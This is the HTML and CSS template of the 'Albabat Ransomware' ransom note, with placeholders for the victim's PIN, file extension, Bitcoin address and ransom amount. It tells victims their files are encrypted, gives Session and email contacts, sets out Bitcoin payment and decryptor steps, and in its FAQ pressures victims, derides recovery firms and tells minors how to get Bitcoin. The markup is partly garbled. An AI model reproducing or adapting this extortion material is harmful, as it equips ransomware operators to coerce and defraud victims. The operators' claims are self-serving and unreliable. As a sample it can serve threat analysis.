                     margin: 5px 0
                   }

                   html body summary {
                     background-color: #fff;
                     color: #000;
                     font-weight: 600;
                     font-size: 18px;
                     width: 100%;
                     cursor: pointer;
                     padding: 10px 10px 12px
                   }

                   html body #google_translate_element,
                   html body .main .container .tab-contents .content {
                     display: none
                   }

                   html body pre {
                     background-color: #202020;
                     padding: 1px 15px;
                     border-left: 2px solid #fff
                   }

                   html body .container {
                     width: 980px;
                     font-size: 17px;
                     margin: 0 auto 40px
                   }

                   html body .header .nav-default {
                     display: flex;
                     background-color: #000;
                     padding: 0 0 20px;
                     text-align: center;
                     position: fixed;
                     width: 980px;
                     top: 0;
                     transition: padding .5s ease
                   }

                   html body .header .nav-default__btn.active {
                     background-color: #c7c7c7;
                     color: #000
                   }

                   html body .header .nav-default__btn:focus,
                   html body .header .nav-default__btn:hover {
                     background-color: #fff;
                     color: #000
                   }

                   html body .header .nav-default__btn-translator:hover {
                     background-color: #fff;
                     color: #000
                   }

                   html body .header .slogan {
                     text-align: center;
                     margin-top: 25px
                   }

                   html body .header .slogan img,
                   html body .header .slogan svg {
                     width: 800px;
                     height: 600px
                   }

                   html body .main .container .tab-contents .content.show {
                     display: flex;
                     background-color: #000;
                     border-radius: 0 0 8px 8px;
                     color: #fff
                   }

                   html body .main .container .tab-contents .content .infos .row {
                     display: flex;
                     flex-wrap: wrap;
                     margin-right: -15px;
                     margin-left: -15px
                   }

                   html body .main .container .tab-contents .content .infos .row:after {
                     clear: both
                   }

                   html body .main .container .tab-contents .content .infos .title {
                     padding-top: 100px;
                     color: #0cf
                   }

                   html body .main .container .tab-contents .content .infos .highlighter {
                     color: #e3fd4e;
                     font-style: normal
                   }

                   html body .main .container .tab-contents #faq .infos h2,
                   html body .main .container .tab-contents .content .infos .subtitle {
                     padding: 15px 0
                   }

                   html body .main .container .tab-contents .content .infos .subtitle .arrow-right {
                     color: #0cf
                   }

                   html body .main .container .tab-contents .content .infos .steps_numbers {
                     color: #09f;
                     font-size: 25px
                   }

                   html body .main .container .tab-contents #home .nav-home {
                     text-align: center;
                     padding: 10px 0;
                     width: 980px;
                     position: fixed;
                     top: 35px;
                     background-color: #2c2c2c;
                     border: 1px solid #fff;
                     margin: 0;
                     transition: margin-top .5s ease
                   }

                   html body .main .container .tab-contents #home .nav-home a {
                     color: #fff;
                     padding: 0 5px;
                     text-decoration: underline
                   }

                   html body .main .container .tab-contents #home .nav-home a:hover {
                     text-decoration: none
                   }

                   html body .main .container .tab-contents #home .infos .version {
                     justify-content: flex-end
                   }

                   html body .main .container .tab-contents #home .infos .version h4 {
                     width: 200px;
                     text-align: center;
                     background-color: #fff;
                     color: #000;
                     padding: 3px;
                     float: right;
                     margin-top: -120px
                   }

                   html body .main .container .tab-contents #home .infos .message {
                     text-align: center
                   }

                   html body .main .container .tab-contents #home .infos .message h1 {
                     color: #ff2f2f
                   }

                   html body .main .container .tab-contents #home .ticket__recommended {
                     margin-left: 5px;
                     background-color: #fff;
                     color: #000;
                     max-width: 120px;
                     text-align: center;
                     padding: 7px;
                     margin-bottom: -50px;
                     font-weight: 600
                   }

                   html body .main .container .tab-contents #faq .infos .title {
                     margin-top: -50px;
                     padding-top: 0;
                     margin-bottom: 100px
                   }

                   html body .main .container .tab-contents #credits .infos {
                     text-align: center;
                     width: 400px;
                     margin: 0 auto
                   }

                   html body .main .container .tab-contents #credits .infos .title {
                     margin-bottom: 100px
                   }

                   html body .main .container .tab-contents #credits .infos .lst_devs {
                     text-align: center;
                     list-style-type: none;
                     padding: 0
                   }

                   html body .main .container .tab-contents #credits .infos .lst_devs li {
                     text-decoration: none;
                     background-color: #fff;
                     color: #000;
                     font-weight: 600;
                     padding: 4px;
                     margin: 3px 0
                   }

                   html body .footer .text {
                     font-weight: 600;
                     padding: 8px 0;
                     text-align: center;
                     background-color: #fff;
                     color: #000
                   }

                   html body .footer .text__team {
                     color: #fd3370;
                     font-style: normal
                   }
                 </style>
                 < /head>
                   <body>
                     <div id="google_translate_element" class="boxTradutor"></div>
                     < div class="header">
                       < div class="container">
                         < nav class="nav-default">
                           < button class="nav-default__btn active" content - id="home"> Home < /button>
                               <button class="nav-default__btn" content-id="faq">FAQ</button>
                               < button class="nav-default__btn" content - id="credits"> Credits < /button>
                                   <button id="btn-translator" class="nav-default__btn-translator" onclick="changeLang('pt')">Translator</button>
                                   < /nav>
                                     <div class="slogan">
                                       <svg xmlns="http://www.w3.org/2000/svg" width="976" height="600" viewBox="0 0 258.233 158.75">
                                         <path style="fill:#000;fill-opacity:1;stroke-width:.27396724" d="M0 138.25h258.233V297H0z" transform="translate(0 -138.25)" />
                                           < path style="display:inline;fill:#fff;fill-opacity:.99176953;stroke:#000;stroke-width:.26458332px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" d="M97.925 61.408h-2.929v-1.701h2.835v-5.859h6.52v7.37h3.685v-7.464h6.331v6.33h2.835v1.513h-2.74v4.536h2.835v1.89h-2.835v3.212h22.647v-6.492h12.361v-6.281h17.84v1.47h17.173v1.67H167.31v3.208h7.216v1.336h18.308v1.67h-18.442v3.274h5.212v.87h13.23v1.603h-13.163v4.41h17.172v1.603h-31.805v4.21h31.738v1.67h-32.072l.126.47h-21.775v3.873h37.35v1.47H143.19v1.003h-19.11v3.532h30.022v1.606h-30.049v1.087h-9.875v3.213h14.694v1.653h-14.694v4.489h14.789v1.653H114.13v1.607h-4.724v2.504h7.134v1.606h-7.134v4.347h6.85v1.843H95.516v-1.749h7.465v-4.44h-7.323v-1.654h7.276v-2.457h-4.678v-1.701H82.948v-1.607h15.355v-4.488H83.137v-1.56h15.166v-3.779h-9.969v-.709H60.648V95.71h27.78v-3.874h-19.04v-.567H33.15v-1.606h36.238v-4.158H47.655l-.078-.288h-30.94v-1.564h30.87v-4.276H16.838v-1.537h16.237v-4.544H21.047v-1.47h12.228v-1.069h4.744v-3.14H21.047v-1.537H38.02v-1.47h7.15v-3.408H29.533v-1.603h15.702v-1.804h18.242v7.016H75.17v6.28h22.65c0-1.225.012-.703.012-3.32l-2.951-.024v-1.8h3.073z" transform="matrix(1.0309 0 0 .88657 17.647 -21.051)" />
                                           <path style="fill:#fff;fill-opacity:1;stroke:#000;stroke-width:.26458332px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" d="M95.613 125.64v1.511h20.694v-1.465zM101.566 131.64v1.559h8.552v-1.512zM101.652 137.47v1.56h8.552v-1.512z" transform="matrix(1.0309 0 0 .88657 17.647 -21.051)" />
                                             < text y="264.296" x="75.923" style="font-style:normal;font-variant:normal;font-weight:400;font-stretch:normal;font-size:10.58333302px;line-height:1.25;font-family:monospace;letter-spacing:0;word-spacing:0;fill:#000;fill-opacity:1;stroke:none;stroke-width:.26458332" xml:space="preserve" transform="translate(0 -138.25)">
                                               < tspan style="font-style:normal;font-variant:normal;font-weight:400;font-stretch:normal;font-size:25.39999962px;font-family:monospace;fill:#fff;fill-opacity:1;stroke-width:.26458332" y="264.296" x="75.923"> Albabat < /tspan>
                                                   </text>
                                                   < text y="270.729" x="106.106" style="font-style:normal;font-weight:400;font-size:10.58333302px;line-height:1.25;font-family:sans-serif;letter-spacing:0;word-spacing:0;fill:#000;fill-opacity:1;stroke:none;stroke-width:.26458332" xml:space="preserve" transform="translate(0 -138.25)">
                                                     < tspan style="font-style:normal;font-variant:normal;font-weight:400;font-stretch:normal;font-size:7.05555534px;font-family:monospace;-inkscape-font-specification:monospace;fill:#fff;fill-opacity:1;stroke-width:.26458332" y="270.729" x="106.106"> Ransomware < /tspan>
                                                         </text>
                                                         < text y="251.265" x="178.405" style="font-style:normal;font-weight:400;font-size:10.58333302px;line-height:1.25;font-family:sans-serif;letter-spacing:0;word-spacing:0;fill:#000;fill-opacity:1;stroke:none;stroke-width:.26458332" xml:space="preserve" transform="translate(0 -138.25)">
                                                           < tspan style="font-size:4.23333311px;fill:#fff;fill-opacity:1;stroke-width:.26458332" y="251.265" x="178.405"> © < /tspan>
                                                               </text>
                                                               < text y="167.125" x="205.284" style="font-style:normal;font-weight:400;font-size:10.58333302px;line-height:1.25;font-family:sans-serif;letter-spacing:0;word-spacing:0;fill:#000;fill-opacity:1;stroke:none;stroke-width:.26458332" xml:space="preserve" transform="translate(0 -138.25)">
                                                                 < tspan style="font-size:4.23333311px;fill:#fff;fill-opacity:1;stroke-width:.26458332" y="167.125" x="205.284"> © < /tspan>
                                                                     </text>
                                                                     < /svg>
                                     </div>
                                     < /div>undefined</div>
                                       < div class="main">
                                         < div class="container">
                                           < div class="tab-contents">
                                             < div class="content" id="home">
                                               < nav class="nav-home">
                                                 < a href="%[top]%"> Top < /a> | undefined<a href="%[menu_about]%">About</a> | < a href="%[menu_contact]%"> Contact < /a> | undefined<a href="%[menu_payment]%">Payment</a> | < a href="%[menu_decryption]%"> Decryption < /a>undefined</nav>
                                                             < div class="infos">
                                                               < div class="row1 version">
                                                                 < h4 class="float-right"> version: %[version]% < /h4>undefined</div>
                                                                     < div class="row1 message">
                                                                       < h1> Some of your files have been encrypted! < /h1>undefined</div>
                                                                           < table class="tbl">
                                                                             < tr>
                                                                               < td class="tbl_inner">
                                                                                 < p> Your PIN: < /p>undefined</td>
                                                                                     < td class="tbl_inner">
                                                                                       < span id="pin"> %[pin]% < /span>undefined</td>
                                                                                           < td class="tbl_inner">
                                                                                             < p>
                                                                                               < button class="btn_copy" type="button" onclick="CopyText('pin')"> Copy < /button>undefined</p>
                                                                                                   < /td>undefined</tr>
                                                                                                     < tr>
                                                                                                       < td class="tbl_inner tbl_pin__title"> Encryption extension: < /td>undefined<td class="tbl_inner tbl_pin__title">undefined<span id="ext">%[ext]%</span>
                                                                                                             < /td>undefined
                                                                                                           <td class="tbl_inner tbl_pin__title">undefined<p>undefined<button class="btn_copy" type="button" onclick="CopyText('ext')">Copy</button>
                                                                                                               < /p>undefined</td>
                                                                                                           < /tr>undefined</table>
                                                                                                             < p>
                                                                                                               < /p>undefined<h2>::> How important are your files to you?</h2>
                                                                                                                 < p> Read this document for information on what happened and how to recover your files again. < /p>undefined<p>We know that this note contains extensive information, but it is recommended that you read everything to be up to date with our terms and thus be able to contact us in the most pragmatic way possible.</p>
                                                                                                                     < p>
                                                                                                                       < /p>undefined<h2 id="menu_about" class="title">[+] 1 - ABOUT "%[name]% Ransomware" [+]</h2>
                                                                                                                         < p> Hello! We are %[name]%, a team that has been developing ransomware since 2023. Yes, we are new to the market, but ambitious and experienced. < /p>undefined<p>The "%[name]% Ransomware" is a cross-platform that encrypts multiple important USER files on the computer's storage device using a symmetric encryption algorithm with military-grade identification.</p>undefined<p>The "%[name]% Ransomware" will automatically create a folder in your user directory, on your machine, but precisely at: "undefined<i class="highlighter">%[root_path]%</i>".undefined</p>undefined<p>IT IS RECOMMENDED to make a BACKUP of "undefined<i class="highlighter">%[readme_html]%</i>" in this folder, as undefined<i class="highlighter">%[readme_html]%</i> contains your PIN, which is important for future contact to recover your files. The PIN will be explained later in the undefined<u>Your PIN</u> section.undefined</p>undefined<p>This folder "undefined<i class="highlighter">%[root_path]%</i>" contains the following files:undefined</p>undefined<ul>undefined<li>undefined<i class="highlighter">%[readme_html]%</i> (This same file)undefined</li>undefined<li>undefined<i class="highlighter">%[log_name]%</i>undefined</li>undefined<li>undefined<i class="highlighter">%[pin_filename]%</i>undefined</li>undefined<li>undefined<i class="highlighter">%[wpp_filename]%</i>undefined</li>undefined</ul>undefined<h3 class="subtitle">undefined<i class="arrow-right">>></i> 1.1 - THE KEY TO CRYPTOGRAPHYundefined</h3>undefined<p>Your files have been encrypted with a KEY that has been stored in our undefined<i class="highlighter">database</i>. Which means that only we have access in the key. There is no way to decrypt your files without having this key on hand.undefined</p>undefined<p>We store your key in our database so that you don't lose it and/or some software deletes it. We always evolve with your files in mind, for possible future agreements to recover your files. This is not only a guarantee for us, but also a guarantee for you. < /p>undefined<p>The encryption key is unique for each encryption, so there will be no point in using other keys if someone shares it over the internet.</p>
                                                                                                                                 < p> If you have any doubts about whether we really have the key, you can read the FAQ page, there will be a section where we will explain this question. < /p>undefined<h3 class="subtitle">undefined<i class="arrow-right">>></i> 1.2 - Your PIN < /h3>undefined<p>undefined<i class="highlighter">DON'T LOSE YOUR PIN!!!</i> It is important for identifying your key and in the process of decrypting your files. Your undefined<i class="highlighter">PIN</i> is also in our database.undefined</p>undefined<p>It is through your undefined<i class="highlighter">PIN</i> that we are able to enter into a prodigious agreement.undefined</p>undefined<p>Your undefined<i class="highlighter">PIN</i>, along with the encryption key, will be used in the decryptor, which will be discussed later in the "undefined<u>DECRYPTION PROCESS</u>" section.undefined</p>undefined<p>Yhe undefined<i class="highlighter">PIN</i> maintains a unique identity in your machine's encryption process, that is, there will not be two or more identical PINs.undefined</p>
                                                                                                                                         < p> In addition to being informed in this document, your < i class="highlighter"> PIN < /i> will also be printed for security in "undefined<i class="highlighter">%[pin_filename]%</i>".undefined</p>
                                                                                                                             < p>
                                                                                                                               < i class="highlighter"> WE STRENGTHEN, DON’T LOSE YOUR PIN !!! < /i>undefined</p>
                                                                                                                                   < h3 class="subtitle">
                                                                                                                                     < i class="arrow-right"> > >< /i> 1.3 - THE ENCRYPTION PROCESSundefined</h3>
                                                                                                                                         < p> Encrypted files have the extension "undefined<i class="highlighter">%[ext]%</i>". < /p>undefined<p>Just like encryption undefined<i class="highlighter">key</i> and your < i class="highlighter"> PIN < /i>, this extension is also important in the decryption process. These 3 (three) elements are responsible for triggering the decryption process of your files.undefined</p>
                                                                                                                                             < p> With each encryption process, this extension changes. We no longer have the fixed extension ( < strong> .abbt < /strong>) in our ransomware. This was an extension of Beta versions.undefined</p>
                                                                                                                                                   < p> Do not try to rename the extension to open your files. On the contrary, you may corrupt your files. < /p>undefined<p>The size of the files that the "%[name]% Ransomware" encrypts is a maximum of undefined<i class="highlighter">%[limit_size]% Megabytes (MB)</i> . < /p>undefined<p>The "%[name]% Ransomware" randomly recursively traverses all directories it does not belong to the operation of the Operating System. Encrypts files in the user directory, even database locations and drives mounted on the machine if any.</p>
                                                                                                                                                           < p> The "%[name]% Ransomware" only encrypts files that are relevant. The operating system, binary files and certain program files will be intact. We didn't choose that.undefined</p>undefined<p>The "%[name]% Ransomware" saves a log file named "undefined<i class="highlighter">%[log_name]%</i>" in the "undefined<i class="highlighter">%[root_path]%</i>" directory. This file you can see all files that were encrypted by "%[name]% Ransomware" in path form.undefined</p>undefined<h2 class="title" id="menu_contact">[+] 2 - HOW TO CONTACT [+]</h2>undefined<p>We currently use undefined<a class="links" href="https://getsession.org/" target="_blank">undefined<span>Session</span>undefined</a> (undefined<a class="links" href="https://getsession.org/" target="_blank">https://getsession.org</a>) as our main contact and chat tool for long and instant discussions with clients. We also have an email address for contact, but we do not guarantee permanence in the same, as we may be silenced and/or our email may be blocked by the provider itself, so contacting us via undefined<a class="links" href="https://getsession.org/" target="_blank">Session</a> will always guarantee that you will receive our responses.undefined</p>undefined<p>However, the choice of how to contact us is primarily yours.</p>undefined<div class="ticket__recommended">Recommended!</div>undefined<table class="tbl tbl_contact_messenger">undefined<tr>undefined<td class="tbl_inner tbl_contact_messenger__title">undefined<p translate="no">"Session" ID:</p>undefined</td>undefined<td class="tbl_inner"></td>undefined</tr>undefined<tr>undefined<td class="tbl_inner tbl_contact_messenger__content">undefined<div class="tbl_contact_messenger__id">undefined<span id="messenger_id">%[tox_id]%</span>undefined</div>undefined</td>undefined<td class="tbl_inner tbl_contact__btn_messenger">undefined<p>undefined<button class="btn_copy" type="button" onclick="CopyText('messenger_id')">Copy</button>undefined</p>undefined</td>undefined</tr>undefined</table>undefined<p>To contact us via undefined<span class="highlighter">Session</span>, do:undefined</p>undefined<p>undefined<i class="highlighter">(1) </i>Access the undefined<span class="highlighter" translate="no">"Session"</span> messenger on the page undefined<a class="links" href="https://getsession.org/" target="_blank">https://getsession.org</a> and install it.undefined</p>undefined<p>undefined<i class="highlighter">(2) </i>Open your messenger undefined<span class="highlighter" translate="no">"Session"</span> and add us using our ID above. above.undefined</p>undefined<table class="tbl tbl_contact">undefined<tr>undefined<td class="tbl_inner tbl_contact__title">undefined<p>Email:</p>undefined</td>undefined<td class="tbl_inner tbl_contact__email">undefined<p>undefined<a class="mail links" href="mailto:%[author_email]%">undefined<span id="mail">%[author_email]%</span>undefined</a>undefined</p>undefined</td>undefined<td class="tbl_inner tbl_contact__btn">undefined<p>undefined<button class="btn_copy" type="button" onclick="CopyText('mail')">Copy</button>undefined</p>undefined</td>undefined</tr>undefined</table>undefined<p style="margin-top: 40px;"></p>undefined<blockquote>NOTE 1: These are the only ways to get in touch to recover your files. Any other form found on the internet will be fake.</blockquote>undefined<p></p>undefined<p></p>undefined<blockquote>NOTE 2: Regardless of the contact method you choose, contact us ONLY if you have made payment. Because all doubts, or the vast majority, we clarify in this document to save ours and your time.</blockquote>undefined<p></p>undefined<h2 class="title" id="menu_payment">[+] 3 - PAYMENT [+]</h2>undefined<p>The decryption process is PAID in undefined<i class="highlighter">Bitcoin</i>, so you need to have a Bitcoin balance on a cryptocurrency exchange or in a cryptocurrency wallet to make the deposit.undefined</p>undefined<p>You may want to read the FAQ page to know what Bitcoin is.</p>undefined<p>Payment data:</p>undefined<table class="tbl tbl_payment">undefined<tr>undefined<td class="tbl_inner">undefined<p>Bitcoin address:</p>undefined</td>undefined<td class="tbl_inner">undefined<p>undefined<span id="address_btc" class="tbl_payment__btc">%[address_btc]%</span>undefined</p>undefined</td>undefined<td class="tbl_inner tbl_payment__btn">undefined<p>undefined<button class="btn_copy" type="button" onclick="CopyText('address_btc')">Copy</button>undefined</p>undefined</td>undefined</tr>undefined<tr>undefined<td class="tbl_inner">undefined<p>Amount to pay:</p>undefined</td>undefined<td class="tbl_inner tbl_payment__amount">undefined<p>undefined<span id="amount_btc">%[amount]%</span>&nbsp;BTCundefined</p>undefined</td>undefined<td class="tbl_inner">undefined<p>undefined<button class="btn_copy" type="button" onclick="CopyText('amount_btc')">Copy</button>undefined</p>undefined</td>undefined</tr>undefined</table>undefined<p>- To make payment and restore your files, follow these steps -</p>undefined<p>undefined<span class="steps_numbers">(1)</span> - Write down the data to make the transfer via the Bitcoin address and the AMOUNT to pay specified above.undefined</p>undefined<p></p>undefined<blockquote>undefined<i class="highlighter">Note:</i> Remembering that the price of Bitcoin may vary monetarily depending on when you make the payment.undefined</blockquote>undefined<p></p>undefined<p>undefined<span class="steps_numbers">(2)</span> - After making the payment to the Bitcoin address above, send a message with a structure similar to this to our messenger undefined<span class="highlighter" translate="no">"Session"</span> (or to our email).undefined</p>undefined<table class="tbl tbl_message">undefined<tr>undefined<td class="tbl_inner">undefined<p class="tbl_message__title">undefined<i class="highlighter">Subject:</i> %[name]% Ransomware - I did the payment!undefined</p>undefined</td>undefined</tr>undefined<tr>undefined<td class="tbl_inner">undefined<p class="tbl_message__content">undefined<span>undefined<i class="highlighter">Message:</i>undefined</span> Hello, I made the payment. My BTC address where I made the payment is "xxx". The my PIN is: undefined<i class="highlighter">%[pin]%</i>.undefined</p>undefined</td>undefined</tr>undefined</table>undefined<p>undefined<i class="highlighter">IMPORANT: </i>Payment will be verified using YOUR BTC ADDRESS (“xxx”) that the transaction was made to, so it is IMPORTANT to inform this when contacting us. And remember! Don't try to cheat us by providing a Bitcoin address that has already paid us, as we maintain a database of customers who have already made transactions for us. < /p>undefined<p>It is also IMPORTANT that you do not forget to send your undefined<i class="highlighter">PIN</i> . It is through your PIN that we will find your key. The key will be sent to you. < /p>undefined<p>You will receive it in your email or via messenger "Session", the KEY "undefined<i class="highlighter">%[key_name]%</i>", and the decryptor "undefined<i class="highlighter">%[decryptor_name]%</i>" attached (zipped).undefined</p>
                                                                                                                                                               < p>
                                                                                                                                                                 < /p>undefined<blockquote>Note: After payment, you will receive the KEY "undefined<i class="highlighter">%[key_name]%</i>" and "undefined<i class="highlighter">%[decryptor_name]%</i>" within 24 hours, but it may vary by more or less depending on my availability times and the number of demands received. Rest assured, we keep our promises!undefined</blockquote>
                                                                                                                                                                   < p>
                                                                                                                                                                     < /p>undefined<h2 class="title" id="menu_decryption">[+] 4 - DECRYPTION PROCESS [+]</h2>
                                                                                                                                                                       < p> To decrypt your files, you will have to use our decryptor that we send to you after you have made the payment. It is very intuitive to use. Follow the steps below on how to use it: < /p>undefined<p>undefined<span class="steps_numbers">(1)</span> - Run < i class="highlighter"> %[decryptor_name]% < /i> (undefined<i>%[name]% Ransomware Decryptor</i> ). < /p>undefined<p>undefined<i class="highlighter">Note: </i> If you are on Linux, open a terminal and run from the command line so you can interact with the decryptor. E.g: < i class="highlighter"> ./decryptorundefined</i>
                                                                                                                                                                                       < /p>undefined<p></p>
                                                                                                                                                                                         < p>
                                                                                                                                                                                           < span class="steps_numbers"> (2) < /span> - After the welcome screen, a menu identical to this one will appear:undefined</p>
                                                                                                                                                                                   < pre>
                                                                                                                                                                                     < code> [ Load the decryption key ] [1] - Search for the key [2] - Exit :: Reply: < / code>
                                                                                                                                                                                         < /pre>undefined<p>undefined<span class="steps_numbers">(3)</span> - Enter "undefined<strong>1</strong>" to search and load the < i class="highlighter"> %[key_name]% < /i> key you received when contacting us after payment.undefined</p>
                                                                                                                                                                                           < p>
                                                                                                                                                                                             < span class="steps_numbers"> (4) < /span> - After the key is accepted, a field will appear to enter your "undefined<i class="highlighter">PIN</i>". Enter it and press ENTER!undefined</p>
                                                                                                                                                                           < p>
                                                                                                                                                                             < span class="steps_numbers"> (5) < /span> - After validating the "undefined<i class="highlighter">PIN</i>", you must enter the "Encryption Extension" of your files, the "undefined<i class="highlighter">%[ext]%</i>". Enter it and press ENTER!undefined</p>
                                                                                                                                                           < p>
                                                                                                                                                             < span class="steps_numbers"> (6) < /span> - After placing the "Encryption Extension", the decryption process will start.undefined</p>
                                                                                                                                                       < p> Wait for the decryption completion message to be displayed on the console, this may take a while depending on the number of files that were encrypted and the power of your machine. You can see the live decryption process of your files if you have time for it. < /p>undefined<p></p>
                                                                                                                                                           < p>
                                                                                                                                                             < span class="steps_numbers"> (7) < /span> - After decryption is complete, all your files will be restored and the decryption log file "undefined<i class="highlighter">%[log_name]%</i>", will be created in the decryptor directory.undefined</p>
                                                                                                                                                                 < p> At the end, you will be asked if you want to completely remove the folder where the data of the cryptography was saved, that is, the < i class="highlighter"> %[root_path]% < /i> folder.undefined</p>
                                                                                                                                                                       < p>
                                                                                                                                                                         < /p>undefined<p style="margin-bottom: 380px;">If you have further questions, such as: "undefined<u>How can I be sure that you retain the decryption key and that my files can be decrypted?</u>", you can read the FAQ page.undefined</p>
                                                                                                                                                                           < /div>undefined</div>
                                                                                                                                                                             < div class="content" id="faq">
                                                                                                                                                                               < div class="infos">
                                                                                                                                                                                 < h1 class="title"> [ + ] FAQ [ + ] < /h1>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(1)</span> - Who Are You? < /summary>undefined<p>We are a small group of people forming the undefined<i class="highlighter">%[name]% Team</i>, involved in cybersecurity and clandestine hacking. < /p>undefined</details>
                                                                                                                                                                                     < details>
                                                                                                                                                                                       < summary onclick="toggleDetails(this)">
                                                                                                                                                                                         < span class="steps_numbers"> (2) < /span> - Do you sell the source code?undefined</summary>
                                                                                                                                                                                             < p> A: - No! < /p>undefined</details>
                                                                                                                                                                                                 < details>
                                                                                                                                                                                                   < summary onclick="toggleDetails(this)">
                                                                                                                                                                                                     < span class="steps_numbers"> (3) < /span> - Do you create RaaS ransomware with a control panel on an online platform?undefined</summary>
                                                                                                                                                                                                         < p> A: - No! But who knows, maybe in the future if we get excited about RaaS. < /p>undefined</details>
                                                                                                                                                                                                             < details>
                                                                                                                                                                                                               < summary onclick="toggleDetails(this)">
                                                                                                                                                                                                                 < span class="steps_numbers"> (4) < /span> - How can I be sure that you retain the decryption key and that my files can be decrypted?undefined</summary>
                                                                                                                                                                                                                     < p> We like to work with evidence. < /p>undefined<p>If you have questions, please contact us via the contact section, tell us your undefined<i class="highlighter">PIN</i> and send an encrypted file attachment. We will decrypt this file and take a screenshot of it for you as proof that we have access to decrypt your files. Preferably, a readable text file or an image, so that we can take a printout. < /p>undefined<p>undefined<i class="highlighter">Attention!</i> There are many fake videos and websites promising to decrypt, however, they are nothing more than a bluff, they do not have the resources to decrypt your files, they are just trying to target you as well, so that you pay the ransom to them instead of us. < /p>undefined<p>In any case, you will have to pay to recover your files, either to us or to these dirty "companies" that want to profit off of our ransomware. Understand, it's not about ethics, it's about money for both parties. They have no ethics because they make money based on our work. And I'm sure they will charge more than we are charging.</p>undefined<p>After all, what would these “companies” be like if it weren’t for our ransomware services? Basically, they appreciate our service. They can even break our encryption to recover your files, but that will take a long time, are you willing to wait that long?! If they break our encryption, we have other "tricks up our sleeves" to strengthen us. After all, we are only on version %[version]%.</p>undefined<p>As proof that only we have control over the decryption of the %[name]% Ransomware, we have uploaded a video demonstrating the encryption and decryption of the %[name]% Ransomware.</p>undefined<p></p>undefined<div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;">undefined<iframe style="width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden" frameborder="0" type="text/html" src="%[demo_video]%" width="100%" height="100%" allowfullscreen title="Dailymotion Video Player" allow="autoplay"></iframe>undefined</div>undefined<p></p>undefined<p></p>undefined<blockquote>Note: In both Windows and Linux, we have all this encryption and decryption control.</blockquote>undefined<p></p>undefined</details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(5)</span> - Where do I find the software to decrypt my files?undefined</summary>undefined<p>A:- The only way to decrypt files that the "%[name]% Ransomware" has encrypted is with decryption software of the "%[name]% Ransomware" itself. You can get the same after the payment action you take to rescue your data.</p>undefined</details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(6)</span> - My encrypted files are not being found and decrypted, what do I do?undefined</summary>undefined<p>A:- This can occur due to several factors, directory or file permission is one of those factors. To solve this, you can create a folder in your user's root directory, but precisely in "undefined<i class="highlighter">%[user_home]%</i>", with the name "undefined<i class="highlighter">%[folder_search]%</i>", and place your encrypted files inside that folder. undefined<i class="highlighter">%[decryptor_name]%</i> will do a "recursive loop" through everything that is encrypted inside that folder, and will consequently decrypt everything. < /p>undefined</details>
                                                                                                                                                                                                                                 < details>
                                                                                                                                                                                                                                   < summary onclick="toggleDetails(this)">
                                                                                                                                                                                                                                     < span class="steps_numbers"> (7) < /span> - What options for contacting you?undefined</summary>
                                                                                                                                                                                                                                         < p> A: - At the moment there are only 2 (two) ways to contact us, which is via email ( < a class="links" href="mailto:%[author_email]%"> %[author_email]% < /a>) and messenger "Session". Basically, undefined<a class="links" href="https://getsession.org" target="_blank">"Session"</a> is a cross - platform, peer - to - peer chat for exchanging instant messages, with secure end - to - end encrypted communication, i.e., no tracking. < /p>undefined<p>To get in touch via messenger undefined<a class="links" href="https://getsession.org">"Session"</a> and add us, you need to have the messenger "Session" installed. < /p>undefined<p>We always recommend contacting us via messenger undefined<a class="links" href="https://getsession.org" target="_blank">"Session"</a> . < /p>undefined<p>And why do we recommend messenger undefined<a class="links" href="https://getsession.org" target="_blank">"Session"</a> ? < /p>undefined<p>For the simple reason that we have no guarantee that our email will be functional for contact in the long term, we may be silenced and/or our account blocked by the provider itself, so contacting us via messenger "Session" will always ensure that you receive our service in the best possible way. < /p>undefined<p></p>
                                                                                                                                                                                                                                                                 < /details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(8)</span> - I'm not receiving any more responses from you via email and/or messenger "Session", why?undefined</summary>undefined<p>A:- You were probably placed in our Spam folder in our email and/or blocked via messenger "Session", because you violated our terms of only contacting us if payment is made, and/or due to harassment.</p>undefined</details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(9)</span> - I have a balance in another cryptocurrency, can I use it instead of Bitcoin?undefined</summary>undefined<p>A:- NO! We only accept Bitcoin as a payment method. Do not try to transfer with another cryptocurrency, you will lose your coins.</p>undefined</details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(10)</span> - What is Bitcoin? How to get Bitcoin?undefined</summary>undefined<p>A:- You can search on the internet what Bitcoin is, but in short it is a digital currency (cryptocurrency), created in a network protected by layers and layers of code, where to obtain balance from it you need to buy it at a cryptocurrency broker, or on the official Bitcoin website itself. The official Bitcoin website is undefined<a class="links" class="links" href="https://bitcoin.org" target="_blank">bitcoin.org</a>. By accessing the official website, you will have more information and also the possibility of purchasing your Bitcoins. undefined<u>Learn about Bitcoins, own Bitcoins, cryptocurrencies will be the future.</u>undefined</p>undefined</details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(11)</span> - I'm not 18, how do I buy Bitcoins? < /summary>undefined<p>A:- If you are under 18, and some platforms require you to be older, you may be using one of the following strategies to buy your cryptocurrencies:</p>
                                                                                                                                                                                                                                                                         < p> I - < strong> Buy from People You Know (P2P - Peer - to - Peer) < strong>
                                                                                                                                                                                                                                                                               < /strong>undefined</strong>
                                                                                                                                                                                                                                                                                 < /p>undefined<p>You can buy cryptocurrencies directly from friends, family or acquaintances who have a balance and want to sell.</p>
                                                                                                                                                                                                                                                                                   < p> II - < strong> Earn Cryptocurrencies for Free < /strong>undefined</p>
                                                                                                                                                                                                                                                             < p>
                                                                                                                                                                                                                                                               < strong> Airdrops - < /strong> Some cryptocurrencies distribute tokens for free to promote their projects.undefined</p>
                                                                                                                                                                                                                                                         < p>
                                                                                                                                                                                                                                                           < strong> Faucets – < /strong>Sites that offer small amounts of cryptocurrencies for free (e.g.: FreeBitcoin).undefined</p>
                                                                                                                                                                                                                                                     < p>
